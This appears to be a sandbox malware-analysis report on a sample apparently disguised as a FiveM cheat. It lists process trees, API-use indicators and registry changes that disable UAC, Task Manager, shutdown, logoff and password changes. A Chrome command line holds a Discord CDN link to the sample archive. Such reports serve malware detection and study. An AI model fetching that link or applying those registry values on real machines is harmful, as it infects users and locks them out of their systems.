2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
4428	7zG.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3004	LogonUI.exe
3004	LogonUI.exe
6120	SecurityCenterService.exe
1340	MiniSearchHost.exe
2012	regedit.exe
2012	regedit.exe
2012	regedit.exe
4000	rrr.exe
4000	rrr.exe
4000	rrr.exe
4000	rrr.exe
2176	firefox.exe
2008	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2224 wrote to memory of 4888	2224	chrome.exe	80
PID 2224 wrote to memory of 3380	2224	chrome.exe	81
PID 2224 wrote to memory of 3380	2224	chrome.exe	81
PID 2224 wrote to memory of 3048	2224	chrome.exe	82
PID 2224 wrote to memory of 5112	2224	chrome.exe	83
PID 2224 wrote to memory of 5112	2224	chrome.exe	83
PID 2224 wrote to memory of 4864	2224	chrome.exe	84
PID 2224 wrote to memory of 4864	2224	chrome.exe	84
PID 2224 wrote to memory of 788	2224	chrome.exe	85
PID 2224 wrote to memory of 788	2224	chrome.exe	85
PID 2224 wrote to memory of 4772	2224	chrome.exe	87
PID 2224 wrote to memory of 4772	2224	chrome.exe	87
PID 2224 wrote to memory of 3476	2224	chrome.exe	89
PID 2224 wrote to memory of 2740	2224	chrome.exe	90
PID 2224 wrote to memory of 2804	2224	chrome.exe	93
PID 2224 wrote to memory of 3016	2224	chrome.exe	94
PID 2224 wrote to memory of 3704	2224	chrome.exe	95
PID 2224 wrote to memory of 2856	2224	chrome.exe	97
PID 2224 wrote to memory of 2856	2224	chrome.exe	97
PID 2224 wrote to memory of 2152	2224	chrome.exe	98
PID 2224 wrote to memory of 2152	2224	chrome.exe	98
PID 2224 wrote to memory of 4960	2224	chrome.exe	99
PID 2224 wrote to memory of 4960	2224	chrome.exe	99
PID 2224 wrote to memory of 396	2224	chrome.exe	100
PID 2224 wrote to memory of 396	2224	chrome.exe	100
PID 2224 wrote to memory of 1724	2224	chrome.exe	101
PID 2224 wrote to memory of 1724	2224	chrome.exe	101
PID 2224 wrote to memory of 4568	2224	chrome.exe	102
PID 2224 wrote to memory of 4568	2224	chrome.exe	102
PID 2224 wrote to memory of 3712	2224	chrome.exe	103
PID 2224 wrote to memory of 3712	2224	chrome.exe	103
PID 2224 wrote to memory of 3064	2224	chrome.exe	104
PID 2224 wrote to memory of 3064	2224	chrome.exe	104
PID 2224 wrote to memory of 3676	2224	chrome.exe	105
PID 2224 wrote to memory of 3784	2224	chrome.exe	106
PID 2224 wrote to memory of 3784	2224	chrome.exe	106
PID 2224 wrote to memory of 4864	2224	chrome.exe	107
PID 2224 wrote to memory of 4864	2224	chrome.exe	107
PID 2224 wrote to memory of 1376	2224	chrome.exe	108
PID 2224 wrote to memory of 1376	2224	chrome.exe	108
PID 2224 wrote to memory of 4636	2224	chrome.exe	109
PID 2224 wrote to memory of 4636	2224	chrome.exe	109
PID 2224 wrote to memory of 4424	2224	chrome.exe	110
PID 2224 wrote to memory of 4424	2224	chrome.exe	110
PID 2224 wrote to memory of 2168	2224	chrome.exe	111
PID 2224 wrote to memory of 2168	2224	chrome.exe	111
PID 2224 wrote to memory of 3268	2224	chrome.exe	112
PID 2224 wrote to memory of 3268	2224	chrome.exe	112
PID 2224 wrote to memory of 560	2224	chrome.exe	114
PID 2224 wrote to memory of 1744	2224	chrome.exe	113
PID 2224 wrote to memory of 1744	2224	chrome.exe	113
PID 2224 wrote to memory of 2244	2224	chrome.exe	115
PID 2224 wrote to memory of 2244	2224	chrome.exe	115
PID 2224 wrote to memory of 3632	2224	chrome.exe	116
PID 2224 wrote to memory of 3632	2224	chrome.exe	116
PID 3356 wrote to memory of 4532	3356	cmd.exe	120
PID 2224 wrote to memory of 4400	2224	chrome.exe	121
PID 2224 wrote to memory of 4400	2224	chrome.exe	121
PID 2224 wrote to memory of 2260	2224	chrome.exe	122
PID 2224 wrote to memory of 2260	2224	chrome.exe	122
PID 2224 wrote to memory of 1384	2224	chrome.exe	123
PID 2224 wrote to memory of 1384	2224	chrome.exe	123
PID 4532 wrote to memory of 1544	4532	powershell.exe	124
PID 2224 wrote to memory of 5000	2224	chrome.exe	125

System policy modification 1 TTPs 25 IoCs

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	loader.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	loader.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr = "1"	SecurityCenterService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogoff = "1"	SecurityCenterService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\SettingsPageVisibility = "hide:recovery"	SecurityCenterService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableLockWorkstation = "1"	SecurityCenterService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableShutdown = "1"	SecurityCenterService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	loader.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	SecurityCenterService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	SecurityCenterService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer	SecurityCenterService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr = "1"	SecurityCenterService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	SecurityCenterService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	SecurityCenterService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableChangePassword = "1"	SecurityCenterService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableLockWorkstation = "1"	SecurityCenterService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	SecurityCenterService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\HideFastUserSwitching = "1"	SecurityCenterService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogoff = "1"	SecurityCenterService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose = "1"	SecurityCenterService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableShutdown = "1"	SecurityCenterService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\HideFastUserSwitching = "1"	SecurityCenterService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose = "1"	SecurityCenterService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableChangePassword = "1"	SecurityCenterService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer	SecurityCenterService.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://cdn.discordapp.com/attachments/1474434877784064193/1544033888441991328/Fivem_External.rar?ex=6a97091d&is=6a95b79d&hm=200f0a88e023722e2ec6e0a011e1f52c922edb96725ad4befc3c9e031714f09f&
1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2224
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd0d6dc728,0x7ffd0d6dc734,0x7ffd0d6dc740
  2⤵
  PID:4888
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1592,i,9346468670507265430,16068241572899360738,262144 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1944 /prefetch:2
  2⤵
  PID:3380
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1448,i,9324994344096942770,4393732204704377402,524288 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1444 /prefetch:11
  2⤵
  - System Time Discovery
  PID:3048
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2356,i,9558395733553931289,3917874638439110463,524288 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2860 /prefetch:13
  2⤵
  PID:5112
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3120,i,13437041038780736244,13851490197665891104,2097152 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3172 /prefetch:1
  2⤵
  PID:4864
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3124,i,6378332450658958967,3313748901207191475,2097152 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3192 /prefetch:1
  2⤵
  PID:788
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4276,i,10551278436422993092,863917462882945724,2097152 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4300 /prefetch:9
  2⤵
  PID:4772
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5304,i,4041367540210257571,13439482274903439354,524288 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5348 /prefetch:14
  2⤵
  - NTFS ADS
  PID:3476
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5608,i,11353862275137911466,11405669656620126791,524288 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5616 /prefetch:14
  2⤵
  PID:2740
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5868,i,2630812617161884714,15147804132497810603,524288 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5860 /prefetch:14
  2⤵
  PID:2804
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5864,i,14789850704273244432,16060190340362921532,524288 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5992 /prefetch:14
  2⤵
  PID:3016
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5856,i,795707596105902685,13764262823087202378,524288 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6020 /prefetch:14
  2⤵
  PID:3704
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5108,i,13526448457008620494,5979435606892403973,2097152 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4416 /prefetch:1
  2⤵
  PID:2856
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5652,i,16064583053536197677,7157408466637417941,2097152 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4268 /prefetch:1
  2⤵
  PID:2152
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5948,i,10994473755684894301,8344726125200866772,524288 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5984 /prefetch:14
  2⤵
  PID:4960
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6236,i,3545870964457800849,11176664387036623623,524288 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6044 /prefetch:14
  2⤵
  PID:396
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=6272,i,2303196844320761775,15672170886257603830,2097152 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6312 /prefetch:1
  2⤵
  PID:1724
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=3152,i,14620301834056924318,3174052145211304838,2097152 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5524 /prefetch:1
  2⤵
  PID:4568
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=4368,i,8930011033694728025,13141189067226553215,2097152 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4416 /prefetch:1
  2⤵
  PID:3712
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=3832,i,13144629163299030832,5760150988218010792,2097152 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6324 /prefetch:1
  2⤵
  PID:3064
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4304,i,16490878830192335947,5665939420259410596,524288 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6228 /prefetch:14
  2⤵
  - NTFS ADS
  PID:3676
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=6228,i,14440893964799537016,13413913780644321683,2097152 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4304 /prefetch:1
  2⤵
  PID:3784
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6160,i,568869090902409379,13558677106101626883,524288 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6296 /prefetch:14
  2⤵
  PID:4864
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=4312,i,7193281234625552000,3214195793006286404,2097152 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5576 /prefetch:1
  2⤵
  PID:1376
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6468,i,17167833424256530243,10952293900645388014,524288 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6348 /prefetch:14
  2⤵
  PID:4636
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --metrics-shmem-handle=6168,i,4564410935960471489,1712434784517968653,2097152 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6560 /prefetch:1
  2⤵
  PID:4424
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --metrics-shmem-handle=6112,i,3147936044215897569,17327277003614031215,2097152 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6280 /prefetch:1
  2⤵
  PID:2168
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --metrics-shmem-handle=6176,i,12007436361931382370,5787282901108104981,2097152 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6276 /prefetch:1
  2⤵
  PID:3268
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=6128,i,4067467245562505876,1461017560813469975,524288 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6644 /prefetch:12
  2⤵
  PID:1744
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3960,i,9291840003806652950,952660343256661354,524288 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3412 /prefetch:14
  2⤵
  - Modifies registry class
  PID:560
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --metrics-shmem-handle=6744,i,5802507235294810236,8820580024143273416,2097152 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6756 /prefetch:1
  2⤵
  PID:2244
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --metrics-shmem-handle=6576,i,5790466201110012806,476021188540813242,2097152 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6560 /prefetch:1
  2⤵
  PID:3632
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --metrics-shmem-handle=6064,i,13033489040449806288,4528994040150220592,2097152 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6948 /prefetch:1
  2⤵
  PID:4400
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --metrics-shmem-handle=6812,i,8200893676849388921,15078804934140300887,2097152 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6796 /prefetch:1
  2⤵
  PID:2260
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --metrics-shmem-handle=6832,i,16126582523596370367,13728747905114219429,2097152 --field-trial-handle=1964,i,9171248914165842380,16798637153298609438,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6860 /prefetch:1
  2⤵
  PID:1384
- C:\Program Files\Google\Chrome\Application\chrome.exe
